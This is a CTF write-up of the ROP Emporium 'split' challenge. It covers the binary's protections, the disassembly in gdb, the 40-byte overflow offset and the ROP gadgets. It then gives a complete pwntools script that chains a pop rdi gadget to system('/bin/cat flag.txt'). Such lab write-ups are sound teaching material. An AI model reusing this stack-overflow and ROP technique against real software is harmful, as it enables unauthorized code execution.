Post

split

split

Exploration

1
2
3
4
5
6
7
8
$ checksec ./split
[*] '/home/ctf/ctf/ropemporium/split/split'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

No canary means buffer overflow is likely the vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gdb ./split
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400742  usefulFunction
0x0000000000400760  __libc_csu_init
0x00000000004007d0  __libc_csu_fini
0x00000000004007d4  _fini

Here, we can see pwnme again and now usefulFunction.

Finding the vulnerability and offset

Once again, the offset is 0x28 (40), as seen in the read call.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x20
   0x00000000004006f0 <+8>:     lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:    mov    edx,0x20
   0x00000000004006f9 <+17>:    mov    esi,0x0
   0x00000000004006fe <+22>:    mov    rdi,rax
   0x0000000000400701 <+25>:    call   0x400580 <memset@plt>
   0x0000000000400706 <+30>:    mov    edi,0x400810
   0x000000000040070b <+35>:    call   0x400550 <puts@plt>
   0x0000000000400710 <+40>:    mov    edi,0x40083c
   0x0000000000400715 <+45>:    mov    eax,0x0
   0x000000000040071a <+50>:    call   0x400570 <printf@plt>
   0x000000000040071f <+55>:    lea    rax,[rbp-0x20]
   0x0000000000400723 <+59>:    mov    edx,0x60
   0x0000000000400728 <+64>:    mov    rsi,rax
   0x000000000040072b <+67>:    mov    edi,0x0
   0x0000000000400730 <+72>:    call   0x400590 <read@plt>
   0x0000000000400735 <+77>:    mov    edi,0x40083f
   0x000000000040073a <+82>:    call   0x400550 <puts@plt>
   0x000000000040073f <+87>:    nop
   0x0000000000400740 <+88>:    leave
   0x0000000000400741 <+89>:    ret
End of assembler dump.

An intermediate step (usefulFunction)

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) disassemble usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:     push   rbp
   0x0000000000400743 <+1>:     mov    rbp,rsp
   0x0000000000400746 <+4>:     mov    edi,0x40084a
   0x000000000040074b <+9>:     call   0x400560 <system@plt>
   0x0000000000400750 <+14>:    nop
   0x0000000000400751 <+15>:    pop    rbp
   0x0000000000400752 <+16>:    ret
End of assembler dump.
(gdb) x/s 0x40084a
0x40084a:       "/bin/ls"

This function, although not useful for the final payload, can be used to check whether the offset is correct.

Address of payload string

We know that system is at 0x400560, but we need the address of the string "cat flag.txt".

We can achieve this with gdb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(gdb) info variables 
All defined variables:

Non-debugging symbols:
0x00000000004007e0  _IO_stdin_used
0x0000000000400854  __GNU_EH_FRAME_HDR
0x00000000004009dc  __FRAME_END__
0x0000000000600e10  __frame_dummy_init_array_entry
0x0000000000600e10  __init_array_start
0x0000000000600e18  __do_global_dtors_aux_fini_array_entry
0x0000000000600e18  __init_array_end
0x0000000000600e20  _DYNAMIC
0x0000000000601000  _GLOBAL_OFFSET_TABLE_
0x0000000000601050  __data_start
0x0000000000601050  data_start
0x0000000000601058  __dso_handle
0x0000000000601060  usefulString
0x0000000000601072  __bss_start
0x0000000000601072  _edata
0x0000000000601078  __TMC_END__
0x0000000000601078  stdout
0x0000000000601078  stdout@@GLIBC_2.2.5
0x0000000000601080  completed
0x0000000000601088  _end
(gdb) x/s 0x601060
0x601060 <usefulString>:        "/bin/cat flag.txt"

Technically, this part isn’t necessary, since pwntools can find strings within the binary (shown in the payload).

Gadgets

Like the previous problem, it is likely that we’ll need a ret gadget to get around movabs. However we will also need a gadget to put the address of "/bin/cat flag.txt" into RDI, where the first argument goes. These can be found using ropper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ropper --file split --search ret[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret

[INFO] File: split
0x0000000000400542: ret 0x200a; 
0x000000000040053e: ret; 

$ ropper --file split --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: split
0x00000000004007c3: pop rdi; ret;

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3

from pwn import *

exe = ELF("./split_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()

    # good luck pwning :)
    offset = 0x28
    ret = 0x40053e
    rdi = 0x4007c3
    payload = flat({
        offset: [
            ret,
            rdi,
            next(exe.search(b"/bin/cat flag.txt")),
            exe.plt["system"]
        ]
    })
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/split/split_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[/.......] Starting local process '/home/ctf/ctf/ropemporium/split/split_patched': pi[+] Starting local process '/home/ctf/ctf/ropemporium/split/split_patched': pid 76564
[*] Switching to interactive mode
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
This post is licensed under CC BY 4.0 by the author.